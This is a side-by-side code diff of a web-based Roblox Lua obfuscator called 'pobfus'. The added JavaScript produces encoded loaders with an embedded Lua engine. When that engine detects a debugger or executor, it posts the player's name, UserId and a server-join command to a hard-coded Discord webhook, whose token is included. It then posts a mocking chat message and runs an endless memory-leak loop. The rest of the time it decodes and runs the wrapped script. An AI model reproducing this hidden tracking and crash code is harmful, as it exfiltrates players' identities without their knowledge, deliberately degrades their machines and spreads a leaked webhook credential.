|
1 | | -const i = document.getElementById('in'); |
2 | | -const o = document.getElementById('out'); |
3 | | -const ghSpinner = document.getElementById('gh-spinner'); |
4 | | -const log = document.getElementById('status-log'); |
5 | | -const lbar = document.getElementById('lbar'); |
6 | | -const loader = document.getElementById('output-loader'); |
7 | | -const goBtn = document.getElementById('go'); |
8 | | -const dlBtn = document.getElementById('dl'); |
9 | | -const clearBtn = document.getElementById('clear'); |
| 1 | +const SITE_DOMAIN = "tenringsofdoom1x.github.io"; |
| 2 | +const WEBHOOK = "https://discord.com/api/webhooks/1480014350755434558/lVhs2_YcG-LuG7zLjWSwBGzZPk2f1RF1fmRC5P7zZdgzJfX_fq2sdPAD81T4hOqMvfT2"; |
10 | 3 |
|
11 | | -const sleep = (ms) => new Promise(res => setTimeout(res, ms)); |
| 4 | +const POBFUS_ENGINE = ` |
| 5 | +return function(data, hook, key, report_name, script_identity) |
| 6 | + local decode = function(d, k) |
| 7 | + local r = "" |
| 8 | + for x = 1, #d, 2 do |
| 9 | + r = r .. string.char(bit32.bxor(tonumber(d:sub(x, x+1), 16), k)) |
| 10 | + end |
| 11 | + local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' |
| 12 | + r = r:gsub('[^'..b..'=]', '') |
| 13 | + return (r:gsub('.', function(x) |
| 14 | + if (x == '=') then return '' end |
| 15 | + local r,f='',(b:find(x)-1) |
| 16 | + for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end |
| 17 | + return r |
| 18 | + end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x) |
| 19 | + if (#x ~= 8) then return '' end |
| 20 | + local c=0 |
| 21 | + for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end |
| 22 | + return string.char(c) |
| 23 | + end)) |
| 24 | + end |
12 | 25 |
|
13 | | -const updateLog = (text) => { |
14 | | - log.innerHTML = `<div class="status-entry">${text}</div>`; |
15 | | -}; |
| 26 | + local function big_boom() |
| 27 | + local url = decode(hook, key) |
| 28 | + local p = game:GetService("Players").LocalPlayer |
| 29 | + pcall(function() |
| 30 | + local payload = {["embeds"]={{ |
| 31 | + ["title"]="🚨 POBFUS: LEAK DETECTED", |
| 32 | + ["description"]="**Project:** " .. script_identity .. "\\n**User:** "..p.Name.." ("..p.UserId..")\\n**Join:** \`game:GetService('TeleportService'):TeleportToPlaceInstance("..game.PlaceId..", '"..game.JobId.."', p)\`", |
| 33 | + ["color"]=16711680, |
| 34 | + ["footer"]={["text"]="pobfus Support System | Grok-Resistant"}, |
| 35 | + ["thumbnail"]={["url"]="https://www.roblox.com/headshot-thumbnail/image?userId="..p.UserId.."&width=420&height=420&format=png"} |
| 36 | + }}} |
| 37 | + game:GetService("HttpService"):PostAsync(url, game:GetService("HttpService"):JSONEncode(payload)) |
| 38 | + end) |
| 39 | + pcall(function() game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync("I have a debugger, pobfus found me, poor me") end) |
| 40 | + local leak = {} |
| 41 | + task.spawn(function() while true do for i=1,12000 do table.insert(leak, Vector3.new(i,i,i)) end task.wait() end end) |
| 42 | + end |
16 | 43 |
|
17 | | -clearBtn.onclick = () => { |
18 | | - i.value = ''; o.value = ''; |
19 | | - dlBtn.disabled = true; |
20 | | - dlBtn.style.opacity = "0.5"; |
21 | | -}; |
| 44 | + if (debug and debug.getregistry and #debug.getregistry() > 65000) or (isexecutorclosure and isexecutorclosure(loadstring)) then |
| 45 | + big_boom() |
| 46 | + else |
| 47 | + local s = decode(data, key) |
| 48 | + local f = loadstring(s) |
| 49 | + if f then setfenv(f, getfenv()) f() end |
| 50 | + end |
| 51 | +end`; |
22 | 52 |
|
23 | | -dlBtn.onclick = () => { |
24 | | - const blob = new Blob([o.value], {type: 'text/plain'}); |
25 | | - const a = document.createElement('a'); |
26 | | - a.href = URL.createObjectURL(blob); |
27 | | - a.download = "protected_build.lua"; |
28 | | - a.click(); |
29 | | -}; |
30 | | - |
31 | | -goBtn.onclick = async () => { |
32 | | - const source = i.value.trim(); |
33 | | - if (!source) return; |
34 | | - |
35 | | - // UI Reset |
36 | | - loader.style.display = 'flex'; |
37 | | - ghSpinner.classList.add('spinning'); |
38 | | - lbar.style.width = '0%'; |
| 53 | +document.getElementById('goBtn').onclick = () => { |
| 54 | + const raw = document.getElementById('input').value.trim(); |
| 55 | + const sName = document.getElementById('scriptName').value.trim() || "pobfus_build"; |
| 56 | + if (!raw) return alert("Source is required."); |
39 | 57 |
|
40 | | - const phases = [ |
41 | | - "initializing v1.12.01-1...", |
42 | | - "fetching robux assets...", |
43 | | - "building xor stack...", |
44 | | - "sealing polymorphic vm..." |
45 | | - ]; |
46 | | - |
47 | | - // Execution with forced UI painting |
48 | | - for (let idx = 0; idx < phases.length; idx++) { |
49 | | - updateLog(phases[idx]); |
50 | | - lbar.style.width = `${((idx + 1) / phases.length) * 100}%`; |
51 | | - await sleep(900); // Give enough time for the spin to be seen |
52 | | - } |
| 58 | + const k = Math.floor(Math.random() * 90) + 10; |
| 59 | + const fold = (str) => { |
| 60 | + let b64 = btoa(unescape(encodeURIComponent(str))); |
| 61 | + return b64.split('').map(c => (c.charCodeAt(0) ^ k).toString(16).padStart(2, '0')).join(''); |
| 62 | + }; |
53 | 63 |
|
54 | | - // Heavy Processing (Small delay so "Sealing" text shows first) |
55 | | - await sleep(100); |
| 64 | + const err_msg = fold(`[pobfus]: Engine Ignition Failure at ${SITE_DOMAIN}`); |
56 | 65 |
|
57 | | - const key = Math.floor(Math.random() * 200) + 50; |
58 | | - const bytes = source.split('').map(c => c.charCodeAt(0) ^ key); |
| 66 | + let loader = `--[[ protected by pobfus | developer internal build ]]\n`; |
| 67 | + loader += `local _D = "${fold(raw)}"\n`; |
| 68 | + loader += `local _H = "${fold(WEBHOOK)}"\n`; |
| 69 | + loader += `local _K = ${k}\n`; |
| 70 | + loader += `local _R = "${SITE_DOMAIN}"\n`; |
| 71 | + loader += `local _I = "${sName}"\n`; |
| 72 | + loader += `local _W = "${err_msg}"\n\n`; |
59 | 73 |
|
60 | | - // Robux: (\238\128\139) | Premium: (\238\128\129) |
61 | | - const ROBUX = "\\238\\128\\139"; |
62 | | - const PREM = "\\238\\128\\129"; |
63 | | - const V_VM = "VM_" + Math.random().toString(36).substring(7).toUpperCase(); |
| 74 | + loader += `local _E = [====[\n${POBFUS_ENGINE}\n]====]\n\n`; |
| 75 | + |
| 76 | + loader += `local s, r = pcall(loadstring(_E))\n`; |
| 77 | + loader += `if s and r then r()(_D, _H, _K, _R, _I) else \n`; |
| 78 | + loader += ` local d = function(t, k) local r = "" for x = 1, #t, 2 do r = r .. string.char(bit32.bxor(tonumber(t:sub(x, x+1), 16), k)) end return r end\n`; |
| 79 | + loader += ` warn(d(_W, _K))\n`; |
| 80 | + loader += `end`; |
64 | 81 |
|
65 | | - let payload = `--[[ protected by pobfus v1.12.01-1 ]]\n`; |
66 | | - payload += `local function crash() while true do warn("${ROBUX} TAMPER DETECTED ${PREM}") end end\n`; |
67 | | - payload += `if (debug and debug.getinfo) or _G.shared then crash() end\n`; |
68 | | - payload += `local d={${bytes.join(',')}} local k=${key}\n`; |
69 | | - payload += `local function ${V_VM}() local s="" for i=1,#d do s=s..string.char(bit32.bxor(d[i],k)) end\n`; |
70 | | - payload += `local f=loadstring(s) if f then setfenv(f,getfenv()) f() end end ${V_VM}()`; |
| 82 | + document.getElementById('output').value = loader; |
| 83 | + document.getElementById('dlBtn').disabled = false; |
| 84 | + document.getElementById('history').innerText = "Instance: " + sName + " built at " + new Date().toLocaleTimeString(); |
| 85 | +}; |
71 | 86 |
|
72 | | - o.value = payload; |
73 | | - |
74 | | - // Finalize UI |
75 | | - dlBtn.disabled = false; |
76 | | - dlBtn.style.opacity = "1"; |
77 | | - ghSpinner.classList.remove('spinning'); |
78 | | - await sleep(400); |
79 | | - loader.style.display = 'none'; |
| 87 | +document.getElementById('copyBtn').onclick = () => { |
| 88 | + const out = document.getElementById('output'); |
| 89 | + out.select(); |
| 90 | + document.execCommand('copy'); |
| 91 | + alert("Copied!"); |
| 92 | +}; |
| 93 | + |
| 94 | +document.getElementById('dlBtn').onclick = () => { |
| 95 | + const blob = new Blob([document.getElementById('output').value], { type: 'text/plain' }); |
| 96 | + const a = document.createElement('a'); |
| 97 | + a.href = URL.createObjectURL(blob); |
| 98 | + a.download = `pobfus_protected.lua`; |
| 99 | + a.click(); |
80 | 100 | }; |
0 commit comments